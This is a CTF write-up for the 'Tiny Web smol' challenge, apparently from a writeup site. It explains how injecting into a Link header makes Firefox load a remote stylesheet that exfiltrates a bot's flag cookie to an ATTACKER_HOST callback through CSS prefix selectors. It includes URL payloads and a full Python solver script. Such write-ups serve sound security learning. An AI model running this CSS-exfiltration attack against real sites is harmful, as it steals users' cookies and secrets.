webfreehard

Tiny Web smol

gpnctf

Task: Tiny Node.js app reflects the request URL into a Link response header and the bot's flag cookie into body onload. Solution: break Link syntax to inject a Firefox-loaded stylesheet, then exfiltrate the reflected flag one character at a time with CSS prefix selectors and callback URLs.

$ ls tags/ techniques/
css_attribute_selector_exfiltrationlink_header_stylesheet_injectionfirefox_response_link_stylesheet_abuseround_robin_bot_scheduling

Tiny Web smol — GPNCTF 2026

Description

No original task description was preserved in the local task directory.

We were given a very small Node.js web app behind an admin bot. The bot first visited http://localhost:8080, set document.cookie = "flag=" + FLAG, and then visited an attacker-controlled URL as long as it started with http://localhost:8080. The goal was to steal the flag from the bot.

Analysis

The application code was effectively this:

require('http').createServer((a,b)=>b.writeHead(200,{ 'content-type':'text/html', link:`<${unescape(a.url)}>;rel=preload;as=fetch` })+b.end(`<body onload=fetch('${a.headers.cookie}')>`)).listen(8080)

This gives two attacker-controlled reflections:

  1. Request URL into Link response header

    link: `<${unescape(a.url)}>;rel=preload;as=fetch`
  2. Bot cookie into HTML attribute

    <body onload=fetch('flag=GPNCTF{...}')>

The obvious first idea was CRLF response splitting through the Link header, but Node.js rejects invalid header characters, so %0d%0a injection was dead.

The important observation was that full CRLF was not necessary. If we broke out of the <...> URL value inside the Link header, Firefox would parse a second link relation from the same header value. A payload shaped like this worked:

//ATTACKER_HOST/start.css>;rel=stylesheet,<x

After URL-encoding, we sent the bot to:

http://localhost:8080/%2f%2fATTACKER_HOST%2fstart.css%3e%3brel%3dstylesheet%2c%3cx

The resulting response header became:

Link: <///ATTACKER_HOST/start.css>;rel=stylesheet,<x>;rel=preload;as=fetch

Firefox fetched and applied that remote stylesheet to the localhost:8080 document. That was the key browser-specific behavior.

Once our CSS was applied, we could target the reflected onload attribute with prefix selectors:

body[onload^="fetch('flag=GPNCTF{C"]{ background-image:url("http://ATTACKER_HOST/c?x=GPNCTF%7BC"); }

When the prefix matched, Firefox requested our callback URL. That leaked one more character of the flag. Repeating this for the next position recovered the whole flag.

One operational problem remained: the bot slept for 30 seconds after each visit. To avoid waiting for a single instance, we used three separate challenge instances in round-robin. While one bot was sleeping, the next instance could leak the next character.

Solution

  1. Host an attacker CSS file and a callback endpoint.
  2. Build a localhost:8080 URL whose path decodes to //ATTACKER/start.css>;rel=stylesheet,<x.
  3. Send that URL to /bot/run?url=....
  4. Firefox loads our stylesheet from the injected Link header.
  5. Serve CSS rules for all candidate next characters using body[onload^="fetch('flag=PREFIX..."] selectors.
  6. The matching rule triggers background-image:url(http://ATTACKER/c?x=...).
  7. Append the leaked character and repeat.
  8. Use three instances in rotation to hide the 30-second sleep.
#!/usr/bin/env python3 import http.server import socketserver import threading import time import urllib.parse import urllib.request import sys INSTANCES = sys.argv[1:] PUBLIC_HOST = "ATTACKER_HOST:9000" BIND_PORT = 9000 CHARSET = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}") KNOWN = "fetch('flag=" leaked = "" learned_this_run = None lock = threading.Lock() class ReuseTCPServer(socketserver.ThreadingTCPServer): allow_reuse_address = True class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): global learned_this_run, leaked u = urllib.parse.urlparse(self.path) if u.path == "/start.css": with lock: prefix = leaked css = "\n".join( f'body[onload^="{KNOWN}{prefix}{c}"]{{background-image:url("http://{PUBLIC_HOST}/c?x={urllib.parse.quote(c)}")}}' for c in CHARSET ).encode() self.send_response(200) self.send_header("Content-Type", "text/css") self.send_header("Cache-Control", "no-store") self.send_header("Content-Length", str(len(css))) self.end_headers() self.wfile.write(css) return if u.path == "/c": c = urllib.parse.parse_qs(u.query).get("x", [""])[0] with lock: if c and learned_this_run is None: learned_this_run = c self.send_response(200) self.send_header("Content-Type", "image/gif") self.send_header("Content-Length", "0") self.end_headers() return body = b"ok" self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, format, *args): return def run_server(): with ReuseTCPServer(("0.0.0.0", BIND_PORT), Handler) as httpd: httpd.serve_forever() def build_target_url(): raw = f"//{PUBLIC_HOST}/start.css>;rel=stylesheet,<x" enc = "".join("%%%02x" % ord(ch) for ch in raw) return f"http://localhost:8080/{enc}" def get(url, timeout=20): req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"}) with urllib.request.urlopen(req, timeout=timeout) as r: return r.read().decode(errors="replace") def trigger_bot_async(instance, target_url): url = f"{instance}/bot/run?url={urllib.parse.quote(target_url, safe='')}" def _run(): try: get(url, timeout=3) except Exception: pass threading.Thread(target=_run, daemon=True).start() def solve(): global leaked, learned_this_run target_url = build_target_url() ready = {inst: 0.0 for inst in INSTANCES} while True: inst = min(INSTANCES, key=lambda i: ready[i]) now = time.time() if ready[inst] > now: time.sleep(max(0.2, ready[inst] - now)) continue with lock: learned_this_run = None trigger_bot_async(inst, target_url) ready[inst] = time.time() + 31 got = None for _ in range(12): time.sleep(1) with lock: if learned_this_run is not None: got = learned_this_run break if got is None: continue leaked += got print(leaked, flush=True) if got == "}": print("FLAG:", leaked) break if __name__ == "__main__": if not INSTANCES: print("usage: solve.py <instance1> <instance2> ...") sys.exit(1) threading.Thread(target=run_server, daemon=True).start() time.sleep(1) solve()

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups